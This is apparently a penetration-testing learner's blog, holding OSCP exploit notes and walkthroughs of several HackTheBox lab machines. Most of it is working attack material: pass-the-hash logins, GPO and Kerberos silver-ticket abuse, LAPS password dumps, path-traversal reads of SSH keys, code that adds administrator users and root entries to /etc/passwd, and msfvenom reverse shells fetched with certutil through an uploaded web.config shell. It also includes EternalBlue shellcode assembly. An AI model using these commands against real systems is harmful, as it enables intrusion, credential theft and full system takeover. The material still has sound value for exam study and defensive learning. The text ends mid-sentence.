read the hash .\\gmsapasswordreader.exe --accountname svc_apache .\\\\gmsapasswordreader.exe --accountname svc_apache # 3. Obtain the rc4_hmac hash for login evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB 1 2 3 4 5 6 7 8 SeRestore privilege # The method below also works https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a # A simpler method that executes a shell directly https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe SeRestoreAbuse.exe C:\\Windows\\System32\\utilman.exe SeRestoreAbuse.exe \u0026#34;C:\\Windows\\System32\\cmd.exe\u0026#34; \u0026#34;C:\\Windows\\System32\\utilman.exe\u0026#34; 1 2 3 4 5 6 7 8 # For SMB phishing, listen with Responder when authentication begins to capture HTLM # https://github.com/Greenwolf/ntlm_theft includes various methods [InternetShortcut] URL=Random_nonsense WorkingDirectory=Flibertygibbit IconFile=\\\\\u0026lt;YOUR tun0 IP\u0026gt;\\%USERNAME%.icon IconIndex=1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 GPO (Group Policy) privilege escalation # Import PowerView Import-Module .\\PowerView.ps1 # Find Default Domain Policy information and its GUID Get-GPO -Name \u0026#34;Default Domain Policy\u0026#34; Get-GPPermission -Guid \u0026lt;GUID\u0026gt; -TargetType User -TargetName \u0026lt;CURRENT_USER\u0026gt; # Permission types may include: # - GpoApply: Apply policy # - GpoRead: Read policy # - GpoEdit: Edit policy # - GpoCustom: Custom permissions .\\SharpGPOAbuse.exe --AddLocalAdmin # Add a local administrator --UserAccount # Specify the user account to add --GPOName # Specify the GPO to modify # Other available arguments: --AddComputerScript # Add a computer startup script --AddUserScript # Add a user logon script --AddUserTask # Add a scheduled task --Command # Specify the command to execute # Query permissions Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master # The project URL is above; exploitation is below .\\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName \u0026#34;Default Domain Policy\u0026#34; gpupdate /force .\\SharpGPOAbuse.exe --AddLocalAdmin # Action: add local-administrator privileges --UserAccount anirudh # User to add: anirudh --GPOName \u0026#34;Default Domain Policy\u0026#34; # GPO to modify: Default Domain Policy gpupdate # Update Group Policy /force # Force an immediate update without waiting for the default refresh interval 1 2 3 4 5 6 7 8 9 10 11 12 13 # An interesting use of a silver ticket # MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account # A normal service account may be unable to enable xmdshell, so create a silver ticket # MSSQL is already accessible and login succeeds impacket-ticketer -nthash \u0026lt;HASH\u0026gt; -domain-sid \u0026lt;SID\u0026gt; -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator impacket-mssqlclient -k nagoya.nagoya-industries.com impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator # PowerView Get-DomainSID # Native PowerShell (Get-ADDomain).DomainSID.Value 1 Get-ADUser -Filter {SamAccountName -eq \u0026#34;svc_mssql\u0026#34;} -Properties ServicePrincipalNames 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 # Set the ticket location export KRB5CCNAME=$PWD/Administrator.ccache # This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient # Importing a silver ticket appears to also require the configuration file below /etc/krb5user.conf [libdefaults] default_realm = NAGOYA-INDUSTRIES.COM kdc_timesync = 1 ccache_type = 4 forwardable = true proxiable = true rdns = false dns_canonicalize_hostname = false fcc-mit-ticketflags = true [realms] NAGOYA-INDUSTRIES.COM = { kdc = nagoya.nagoya-industries.com } [domain_realm] .nagoya-industries.com = NAGOYA-INDUSTRIES.COM # Connect to MSSQL, preferably with Impacket impacket-mssqlclient -k nagoya.nagoya-industries.com Kerberos configuration-file search order: Location specified by the KRB5_CONFIG environment variable /etc/krb5.conf (default location) /etc/krb5user.conf ~/.krb5user.conf # Only modify these sections: default_realm = YOUR.DOMAIN.COM # Domain name [realms] YOUR.DOMAIN.COM = { kdc = dc.your.domain.com # Domain controller } [domain_realm] .your.domain.com = YOUR.DOMAIN.COM # Domain mapping Other settings can remain unchanged: kdc_timesync ccache_type forwardable proxiable rdns These control Kerberos behavior and usually do not need modification. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # If BloodHound shows GenericWrite over a user, that user\u0026#39;s SPN can be modified # Then obtain a TGT; this is an interesting technique targetedKerberoast.py -v -d \u0026#39;hokkaido-aerospace.com\u0026#39; -u \u0026#39;hrapp-service\u0026#39; -p \u0026#39;Untimed$Runny\u0026#39; --dc-ip 192.168.208.40 https://wadcoms.github.io/wadcoms/targetedKerberoast/ targetedKerberoast differs from ordinary Kerberoasting: Ordinary Kerberoasting: powershellCopy# Any domain user can run this Get-DomainUser -SPN # Enumerate all SPNs Rubeus.exe kerberoast # Request tickets for all SPNs Targeted Kerberoasting: Requires GenericWrite permission Can temporarily add an SPN to a normal user Remove the SPN after obtaining the ticket 1 2 3 4 5 6 # This can be found in BloodHound # The current user has ReadLAPSPassword permission # This allows reading local-administrator passwords for domain machines ldapsearch -v -c -D username@domain.com -w password -b \u0026#34;DC=domain,DC=com\u0026#34; -H ldap://DC_IP \u0026#34;(ms-MCS-AdmPwd=*)\u0026#34; ms-MCS-AdmPwd ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b \u0026#34;DC=hutch,DC=offsec\u0026#34; -H ldap://$IP \u0026#34;(ms-MCS-AdmPwd=*)\u0026#34; ms-MCS-AdmPwd 100.Some OSCP Details Arbitrary File Read\nArbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.\nIt turns out that curl is all you need.\n1 2 3 4 curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa --path-as-is This argument prevents curl from normalizing ../../ into / Directory Wordlists for Testing\n1 2 3 4 C:\\Windows\\System32\\drivers\\etc\\hosts C:\\Windows\\System32\\drivers\\etc\\hosts C:\\inetpub\\wwwroot\\web.config C:\\inetpub\\logs\\LogFiles\\W3SVC1\\ Apache 2.4.49 Directory Traversal Vulnerability\n1 2 3 curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is responder\n1 2 3 4 5 6 7 8 9 10 11 ip a sudo responder -I tun0 sudo responder -I tun0 -v An interesting case When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine HTTP requests usually require no authentication, so they do not carry HTLM SMB and WebDAV do carry it and can be combined with a pseudo-protocol file:////192.168.45.184/share Or WebDAV http://192.168.45.184/share Situational Awareness and Information Gathering (Very Important) for Windows Privilege Escalation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 # All groups to which the current user belongs whoami /groups powershell # Local users, enabled status, and descriptions Get-LocalUser # Local groups Get-LocalGroup # Use the group name above as an argument to view its members Get-LocalGroupMember adminteam # Routing table route print # View all applications Get-ItemProperty \u0026#34;HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*\u0026#34; | select displayname # View processes Get-Process # Similar to find; the approach is useful Get-ChildItem -Path C:\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\\Users\\dave\\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue # Transcript files may contain credentials C:\\Users\\Public\\Transcripts\\transcript01.txt # Search history (Get-PSReadlineOption).HistorySavePath # Files that may contain passwords C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml C:\\Users\\dave\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\LocalState\\EBWebView\\ZxcvbnData\\3.0.0.0\\passwords.txt C:\\Users\\dave\\AppData\\Local\\Packages\\MicrosoftTeams_8wekyb3d8bbwe\\LocalCache\\Microsoft\\MSTeams\\EBWebView\\ZxcvbnData\\3.0.0.0\\passwords.txt # Existing services # This filters out services that are not running Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like \u0026#39;Running\u0026#39;} # Show all services Get-CimInstance -ClassName win32_service | Select Name,State,PathNam 1 2 # View file permissions icacls \u0026#34;C:\\xampp\\apache\\bin\\httpd.exe\u0026#34; Mask Permissions F Full access M Modify access RX Read and execute access R Read-only access W Write-only access When replacing a service executable, you can compile one yourself.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 adduser.c ```c #include \u0026amp;lt;stdlib.h\u0026amp;gt; int main () { int i; i = system (\u0026#34;net user dave2 password123! /add\u0026#34;); i = system (\u0026#34;net localgroup administrators dave2 /add\u0026#34;); return 0; } ```text x86_64-w64-mingw32-gcc adduser.c -o adduser.exe Then use net stop or net start on the service # View the target service\u0026#39;s startup type Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like \u0026#39;mysql\u0026#39;} AUTO means automatic startup PowerUp.ps1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 powershell -ep bypass . .\\PowerUp.ps1 # Show modifiable services Get-ModifiableServiceFile # Replace the binary in one step; by default, this creates a local user named john with password Password123! Install-ServiceBinary -Name \u0026#39;mysql\u0026#39; # Manual test: check permissions PS C:\\Users\\dave\u0026gt; $ModifiableFiles = echo \u0026#39;C:\\xampp\\mysql\\bin\\mysqld.exe\u0026#39; | Get-ModifiablePath -Literal PS C:\\Users\\dave\u0026gt; $ModifiableFiles ModifiablePath IdentityReference Permissions -------------- ----------------- ----------- C:\\xampp\\mysql\\bin\\mysqld.exe BUILTIN\\Users {WriteOwner, Delete, WriteAttributes, Synchronize...} PS C:\\Users\\dave\u0026gt; $ModifiableFiles = echo \u0026#39;C:\\xampp\\mysql\\bin\\mysqld.exe argument\u0026#39; | Get-ModifiablePath -Literal PS C:\\Users\\dave\u0026gt; $ModifiableFiles ModifiablePath IdentityReference Permissions -------------- ----------------- ----------- C:\\xampp\\mysql\\bin NT AUTHORITY\\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...} C:\\xampp\\mysql\\bin NT AUTHORITY\\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead} PS C:\\Users\\dave\u0026gt; $ModifiableFiles = echo \u0026#39;C:\\xampp\\mysql\\bin\\mysqld.exe argument -conf=C:\\test\\path\u0026#39; | Get-ModifiablePath -Literal PS C:\\Users\\dave\u0026gt; $ModifiableFiles DLL Hijacking\n1 2 3 4 Principle: use the command below to identify the software version, then search for an exploit by vulnerability type Get-ItemProperty \u0026#34;HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*\u0026#34; | select displayname FileZilla FTP 3.63.1 is vulnerable to DLL hijacking Unquoted Service Paths (A Very Important and Interesting Trick) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Enumerate running and stopped services Get-CimInstance -ClassName win32_service | Select Name,State,PathName wmic service get name,displayname,pathname,startmode |findstr /i \u0026#34;Auto\u0026#34; |findstr /i /v \u0026#34;C:\\Windows\\\\\u0026#34; |findstr /i /v \u0026#34;\u0026#34;\u0026#34; wmic service get name,pathname | findstr /i /v \u0026#34;C:\\Windows\\\\\u0026#34; | findstr /i /v \u0026#34;\u0026#34;\u0026#34; wmic service get name,displayname,pathname,startmode |findstr /i \u0026#34;auto\u0026#34; For example, the configured path below is unquoted C:\\Program Files\\My Program\\My Service\\service.exe Principle C:\\Program.exe C:\\Program Files\\My.exe C:\\Program Files\\My Program\\My.exe C:\\Program Files\\My Program\\My service\\service.exe Then restart the service In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\\Program Files, or name it My.exe and place it in C:\\Program Files\\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application\u0026rsquo;s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.\n1 2 3 4 5 6 7 8 9 10 # Detailed command icacls \u0026#34;C:\\\u0026#34; icacls \u0026#34;C:\\Program Files\u0026#34; icacls \u0026#34;C:\\Program Files\\Enterprise Apps\u0026#34; Find a directory where the current user has W permission, then place an EXE file there After finding one, run the command below Stop-Service GammaService Start-Service GammaService This is another PowerUp.ps1 technique.\n1 2 3 4 5 6 7 8 9 10 PowerUp.ps1 . .\\PowerUp.ps1 # Like the above, output vulnerable services Get-UnquotedService # Select the write path Write-ServiceBinary -Name \u0026#39;GammaService\u0026#39; -Path \u0026#34;C:\\Program Files\\Enterprise Apps\\Current.exe\u0026#34; # Restart the service Restart-Service GammaService The default behavior creates a new local user named john with password Password123! Scheduled Task Privilege Escalation 1 2 3 4 5 6 7 8 # View scheduled tasks schtasks /query /fo LIST /v schtasks /query /fo LIST /v | findstr /i \u0026#34;Every:\u0026#34; schtasks /query /fo LIST /v | findstr /i /C:\u0026#34;TaskName\u0026#34; /C:\u0026#34;Every:\u0026#34; /C:\u0026#34;Task To Run:\u0026#34; # Identify the specific task schtasks /query /tn \u0026#34;\\Microsoft\\Windows\\SomeTask\u0026#34; /fo LIST /v # Confirm permissions, then replace it icacls C:\\Users\\steve\\Pictures\\BackendCacheCleanup.exe Exploit-Based Privilege Escalation\n1 2 3 whoami /priv systeminfo Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq \u0026#34;Security Update\u0026#34; } Linux Privilege Escalation (Information Gathering) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ls -l /etc/shadow cat /etc/issue cat /etc/os-release uname -a ps aux ip a routel\t#Routing table ss -anp\t#All connections cat /etc/iptables/rules.v4\t#Firewall configuration ls -lah /etc/cron*\t#Scheduled tasks crontab -l\t#Scheduled tasks dpkg -l\t#Installed applications find / -writable -type d 2\u0026gt;/dev/null\t#Writable directories cat /etc/fstab\t#Show mounted drives mount\t#Mounted filesystems lsblk\t#View available disks lsmod\t#View loaded kernel modules /sbin/modinfo libata\t#View more information about the module identified above .bashrc\t#Script that automatically sets environment variables and may contain useful information env\t#View environment variables that may contain useful information watch -n 1 \u0026#34;ps -aux | grep pass\u0026#34;\t#Similar to a lightweight pspy32 sudo tcpdump -i lo -A | grep \u0026#34;pass\u0026#34;\t#Capture traffic grep \u0026#34;CRON\u0026#34; /var/log/syslog\t#View automated tasks in system logs; also similar to a lightweight pspy32 /usr/sbin/getcap -r / 2\u0026gt;/dev/null\t#Privilege escalation with cap_setuid+ep searchsploit \u0026#34;linux kernel Ubuntu 16 Local Privilege Escalation\u0026#34; | grep \u0026#34;4.\u0026#34; | grep -v \u0026#34; \u0026lt; 4.4.0\u0026#34; | grep -v \u0026#34;4.8\u0026#34; # A searchsploit technique /etc/passwd Abuse\n1 2 openssl passwd w00t echo \u0026#34;root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd How to Build a New Wordlist\n1 2 # Generate new passwords from a base password according to minimum and maximum lengths crunch 6 6 -t Lab%%% \u0026gt; wordlist Windows Privilege Escalation I am only noting part of it here, mostly as a reminder.\n1 2 3 4 5 When all other methods fail, inspect the winPEASany.exe output carefully It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys Service privilege escalation wmic service get name,displayname,pathname,startmode |findstr /i \u0026#34;auto\u0026#34; msf Post-Exploitation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Indicates whether the target machine is in use; the output below means the user has been away for nine minutes idletime User has been idle for: 9 mins 53 secs # First action getsystem # Process migration migrate 8052 # Start a hidden Notepad process and migrate into it execute -H -f notepad migrate 8052 # Run this first in PowerShell to bypass the system execution-policy restriction PowerShell -ExecutionPolicy Bypass powershell -ep bypass # Port forwarding portfwd add -l 3389 -p 3389 -r 172.16.5.200 # Configure the proxy use auxiliary/server/socks_proxy show options set SRVHOST 127.0.0.1 set VERSION 5 run -j This creates a SOCKS5 proxy on local port 1080 for use with proxychains 101.Some OSCP Ideas I came across some interesting lessons while reading oscptext. These ideas are worth writing down.\nWhen you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.\nFor file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php\nFile uploads can sometimes overwrite existing files. Try overwriting the public key.\ni686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32\nUAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.\n102.Post-Exploitation Scripts https://github.com/rebootuser/LinEnum\nhttps://linpeas.sh/\nhttps://github.com/DominicBreuker/pspy\naes:https://tool.lmeee.com/jiami/aes\nrsa:https://www.bejson.com/enc/rsa/\nphpinfo LFI race condition: https://github.com/vulhub/vulhub/tree/master/php/inclusion\nSSH tunneling: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html\nWindows exploit analysis: https://github.com/AonCyberLabs/Windows-Exploit-Suggester\nWindows EternalBlue series: https://github.com/SecWiki/windows-kernel-exploits\n","date":"2025-01-04T12:50:00+08:00","permalink":"/p/oscp-exploit-notes/","title":"OSCP Exploit Notes"},{"content":"1.Blue Information gathering:\nGiven the box name and everything else, it was pretty clear this was EternalBlue.\nBut I couldn\u0026rsquo;t use msf to get a shell, even though msf makes things very convenient.\nSo I started looking for exploit tools. There were plenty on ExploitDB and GitHub, but the problem was that none of them were easy to use. The GitHub author said Python 2 worked fine, while Python 3 might not run.\nThen came setting up the Python 2 environment, which was a real pain.\n1 2 3 4 5 6 7 8 9 10 python2 -m pip install --upgrade setuptools wheel python2 -m pip install pyasn1 pycryptodomex ldap3 python2 -m pip install pyOpenSSL==20.0.1 python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3 python2 -m pip install impacket --no-deps --ignore-installed # Run the following if the last command above fails to install git clone https://github.com/SecureAuthCorp/impacket.git cd impacket python2 setup.py install https://github.com/worawit/MS17-010\nThat\u0026rsquo;s the project URL above. I consulted a lot of documentation and downloaded the project to Kali.\nThere are several files in the shellcode folder, and the important one is eternalblue_sc_merge.py.\nFollowing the instructions in eternalblue_sc_merge.py, I generated universal shellcode. The Blue box is actually x64, but I figured I might as well generate a universal one.\n1 2 3 4 5 6 7 8 nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin cat sc_x64_kernel.bin sc_x64_msf.bin \u0026gt; sc_x64.bin cat sc_x86_kernel.bin sc_x86_msf.bin \u0026gt; sc_x86.bin python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin python eternalblue_exploit7.py 192.168.1.100 sc_all.bin Once sc_all.bin had been generated, the last step was launching the attack. I could use msfconsole as the listener, but I really wanted to use netcat. Using msfconsole just to listen should be fine, and I could probably have called it done there: the OSCP rules say you can\u0026rsquo;t use msf for attacks, but using it as a listener shouldn\u0026rsquo;t be a major issue. Still, to be rigorous, I decided to do it with pure netcat.\nnc couldn\u0026rsquo;t catch the connection with the method above.\nAn improved version of the project: https://github.com/3ndG4me/AutoBlue-MS17-010/\nI read through the project\u0026rsquo;s issues, and the author had apparently improved the program back in 2018.\nBut in reality, I wasted a lot of time here. It wasn\u0026rsquo;t properly fixed at all, and I just kept testing it.\nSo I went back to the original GitHub project: https://github.com/worawit/MS17-010\n1 2 3 4 5 6 7 8 nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333 msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334 cat sc_x64_kernel.bin sc_x64_msf.bin \u0026gt; sc_x64.bin cat sc_x86_kernel.bin sc_x86_msf.bin \u0026gt; sc_x86.bin python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin python eternalblue_exploit7.py 192.168.1.100 sc_all.bin It turned out that all I needed to do was change the module msfvenom used to generate the payload.\nBut the payload generated by the improved project at https://github.com/3ndG4me/AutoBlue-MS17-010/ kept having problems. After reading shell_prep.sh, I found that entering 1 and 1 for the next two prompts was basically no different from the commands above, yet it still didn\u0026rsquo;t work. So I\u0026rsquo;m shelving this project for now.\nThe corrected commands finally gave me a shell.\nThe shell dropped me straight in as SYSTEM, and the flags were right there on the user and administrators desktops. That\u0026rsquo;s it for this box.\nBelow are the blogs and other references I used. They were pretty helpful. EternalBlue is one of the most basic things beginners learn, but I\u0026rsquo;d never really looked into how it works under the hood and had only ever used msfconsole to attack it. Using a Python script this time definitely felt different.\nhttps://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/\nhttps://github.com/a6avind/MS17-010/blob/master/README.md\nhttps://github.com/3ndG4me/AutoBlue-MS17-010/issues/2\nhttps://github.com/3ndG4me/AutoBlue-MS17-010/issues/5\n2.Arctic Reconnaissance:\nI couldn\u0026rsquo;t find any exploitable vulnerabilities in rpc, so I took a look at the service on port 8500 and found the framework and version: Adobe ColdFusion 8.\nA quick Google search turned up an arbitrary file read vulnerability.\nhttp://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en\nRead the password:\nhttp://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en\nNow I had the password too, which gave me more access. At this point, it was time to look for an RCE exploit.\nhttps://www.exploit-db.com/exploits/50057\nAt a glance, this was clearly an exploit written specifically for this box. The setup was extremely similar, and since it was written in 2021, it was basically a walkthrough.\nRunning it got me a shell as well.\nThis was the only exploit I could find at the time, but after reading through the code, it was actually very simple. The file upload endpoint did not require authentication, so the exploit sent a request to upload a jsp file. It then started two threads: one listened for a connection while the other visited the jsp, which sent a reverse shell back.\nNext came privilege escalation. Before trying that, I started gathering information. As long as you can get the systeminfo output, you can use the script below.\nhttps://github.com/AonCyberLabs/Windows-Exploit-Suggester\nI ran into a small issue with this script too, but pinning the version fixed it.\npip2 install xlrd==1.2.0\nThere were plenty of privilege-escalation vulnerabilities, so I just needed to pick one.\nI found this GitHub repository:\nhttps://github.com/SecWiki/windows-kernel-exploits\nAfter trying them one by one, I found that MS10-059 worked. Download MS10-059.exe and transfer it to the Windows target.\ncertutil -urlcache -split -f http://10.10.16.3:33333/Arctic/MS10-059.exe .\\MS10-059.exe\nFollowing the tutorial for MS10-059.exe, run:\nMS10-059.exe 10.10.16.3 5555\nnc-lvnp 5555\nThat\u0026rsquo;s all it takes.\nDone. The first two boxes I\u0026rsquo;ve completed so far were probably meant to get me familiar with the most basic Windows penetration-testing techniques. I expect they will get harder from here.\n3.Bounty Reconnaissance:\nThere was only one port open. Opening it showed nothing but an image and a hint that the site was running IIS 7—and it really was IIS 7.\nI then started fuzzing for directories while also checking the image for steganography and other possible information leaks.\nNothing turned up in the image afterward.\nThe fuzzing uncovered a directory and an endpoint.\nThis endpoint allowed file uploads, but it seemed to use a whitelist, so many file types could not be uploaded.\n1355 indicated that the upload had failed. I tried all sorts of bypasses and IIS 7.0 file-parsing vulnerabilities—even ones that were not for 7.0.\nNone of them worked. This was genuinely a blind spot for me, so I peeked at the next step in the write-up.\nIt hinted that we needed to fuzz the file extensions. I found a wordlist I had put on Kali a month earlier.\n/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt\nBesides the usual extensions, fuzzing revealed that files with the config extension could be uploaded.\nhttps://github.com/tennc/webshell/blob/master/aspx/web.config\nI found a way to get a shell. Although I had never learned .NET, I could still tell at a glance how to use this file.\nJust access the endpoint and pass the command as ?cmd=dir.\nAfter uploading it, I visited http://10.10.10.93/UploadedFiles/web.config?cmd=whoami\nLet\u0026rsquo;s read the flag first: http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\\users\\merlin\\Desktop\\user.txt\nI then tried to get an interactive shell. I uploaded nc, but it failed.\nBetter to keep it simple: upload a backdoor generated with msfvenom and chain the commands together.\n1 2 msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666 http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\\users\\merlin\\shell.exe It worked. I could barely find any of the other reverse-shell methods I had just tried, and the few I did find did not work. Looks like I won\u0026rsquo;t be able to live without msfvenom for reverse shells from now on.\nAs usual, I started with systeminfo.\nms10-059 still worked, so I gave it another shot.\nDone.\nPrivilege escalation was just like what I had learned earlier: if a ready-made exploit exists, use it. As for getting a shell, I was not very familiar with ASPX, so I kept trying IIS parsing vulnerabilities, upload bypasses, and a whole string of other tricks. I had gone completely down the wrong path and never found the web.config exploit. Once I learned about it afterward, though, things became much easier. I had only just started working through Windows boxes, and this one was a pretty reasonable difficulty level.\n4.Jerry Information gathering:\nDirectory brute-forcing turned up nothing.\nThe tomcat version is there too.\nI found a payload for that version, but it failed. Trying it manually didn\u0026rsquo;t work either.\nLet\u0026rsquo;s brute-force the manager login.\nhttps://blog.csdn.net/m0_53008479/article/details/124865806\ntomcat:s3cret\nThe login worked, and I made it into the admin panel.\n1 2 msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw \u0026gt; ft.jsp jar cvf ft.war ft.jsp Just upload it.\nVisit http://10.10.10.95:8080/ft/ft.jsp\nThe reverse shell came back as SYSTEM.\nI found the C:\\Users\\Administrator\\Desktop\\flags directory.\nBoth flags are in there. This box is mainly just for getting familiar with the workflow, I guess.\n5.Conceal This box is rated hard. A lot of people consider it somewhere above medium, so let\u0026rsquo;s take a look.\nReconnaissance:\nOnly UDP ports are open. Keeping UDP scans running really is a good habit.\nhttps://refabr1k.gitbook.io/oscp/info-gathering/snmp\nThis page covers a few ways to pentest SNMP, but they are all fairly basic enumeration and information-disclosure techniques.\nIt really doesn\u0026rsquo;t look useful.\nI tried a whole bunch of exploits afterward, but none worked. I did notice something odd, though.\nsnmpwalk -c public -v1 10.10.10.116\nOne line contains an IKE VPN password. I had never encountered UDP port 500 before, but I was fairly familiar with IKE. When I was learning, I tried all three ways of getting into an internal network: openvpn, IKE, and FRP.\nI had thrown practically every exploit I could find at it, though I might still have missed something. I even found an MS06-074 exploit for SNMP.\nAt this point, IKE was the only attack surface left. It felt like the box was telling me to connect with this password.\nFor the isakmp service, I found the following blog post:\nhttps://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting\nThis article explains the service thoroughly and gives plenty of exploitation methods.\nNext, I followed its tutorial step by step.\nAs you saw in the previous response, there is a field called AUTH whose value is PSK. This means the VPN is configured with a pre-shared key (which is great for penetration testers). The value on the final line is also very important:\n1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to negotiate IKE, and one or more of the transforms you proposed are acceptable (the valid transform will be shown in the output). I may not have found the vendor.\nwhile read line; do (echo \u0026ldquo;Found ID: $line\u0026rdquo; \u0026amp;\u0026amp; ike-scan -M -A -n $line 10.10.10.116) | grep -B14 \u0026ldquo;1 returned handshake\u0026rdquo; | grep \u0026ldquo;Found ID:\u0026rdquo;; done \u0026lt; /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt\nThis step searches for the group ID.\nBut I couldn\u0026rsquo;t find the group name. Maybe the wordlist wasn\u0026rsquo;t strong enough. The whole time, I kept searching for a way to connect to the IKE VPN, but no blog gave me an answer. The only useful one was the post above. It told me I needed a group ID and PSK. I already had the PSK, but its process was to enter the group name and PSK, then brute-force with username and password wordlists. Only after obtaining the group name, username, password, and PSK could I connect. That was far too much trouble, and it didn\u0026rsquo;t seem realistic—especially when I couldn\u0026rsquo;t even brute-force the group name.\nI looked at the next step in a write-up here and realized I hadn\u0026rsquo;t done anything wrong. Having the PSK was actually enough to connect; I just hadn\u0026rsquo;t found the right tool or method. I didn\u0026rsquo;t look at what tool the write-up used, even though I had just spent ages searching for connection methods and found nothing.\nAt least I could confirm I was on the right track.\nEventually, I found it.\nI finally found a tutorial after consulting a huge number of blog posts. This configuration file was doing my head in.\nGoing back to the earlier output, I found that its 